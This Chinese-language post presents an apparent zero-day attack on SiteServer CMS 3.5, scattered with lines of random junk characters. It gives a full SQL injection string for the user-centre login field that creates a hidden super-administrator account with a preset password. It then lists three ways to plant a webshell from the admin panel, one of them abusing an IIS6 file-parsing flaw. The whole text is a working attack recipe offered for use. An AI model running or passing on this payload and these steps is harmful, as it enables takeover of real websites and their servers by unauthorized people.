SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn



EXP:
5 B5 U* S$ y, F$ u9 y* N) q9 R
直接访问UserCenter/login.aspx
: d) H) ?, ~* f1 Z2 D2 H  C
4 I$ i/ V( s4 n: }  \

用户名处输入：
+ S' Y) U+ l6 ~0 |; u- W3 o4 N9 e
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

  R  z4 D; l. P

3 a* _4 v1 l8 T$ X: T8 \密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
6 {' [- u+ f) X0 P; F
* l" y5 b. s* m$ ^
9 S& q3 B5 P) m( r4 A
之后再访问后台SiteServer/login.aspx用插入的用户登陆
. N' w- k# _5 f
4 k/ X& f$ o3 |& v
4 n9 |/ M( c: m% @6 V- d2 _
' m, {) N; l# T! g# h/ y2 G$ c4 g后台拿webshell的三种方法：

/ U$ C: _$ _) t0 d* G7 V一、
5 ~2 y9 w/ Z0 e3 e' ]+ w3 b4 _: `7 W
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
7 x1 s- G4 n: K2 ?. ~' h" I
: A7 U0 Q* D# T, U二、

成员权限-》添加用户-》用户名为：1.asp
# C5 ]8 Y' j! l; B8 @4 F% `$ A
! v4 r! C  ^$ Fhttp://127.0.0.1/usercenter/

用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

& ]2 n6 U! d/ B# u, d- H（ps：后台添加用户时不会验证是否含有非法字符）
5 K2 t5 D) Y. V! e# o
9 v. q8 L1 `  w. W5 p$ ~三、
2 p1 I# _, Y8 c  p
- y( g2 c% L& u8 G系统工具-》实用工具-》机器参数查看
# y1 s* ~, ~) C8 o6 j可以看到数据库类型、名称，WEB路径

系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。

: x( R' q# Z6 K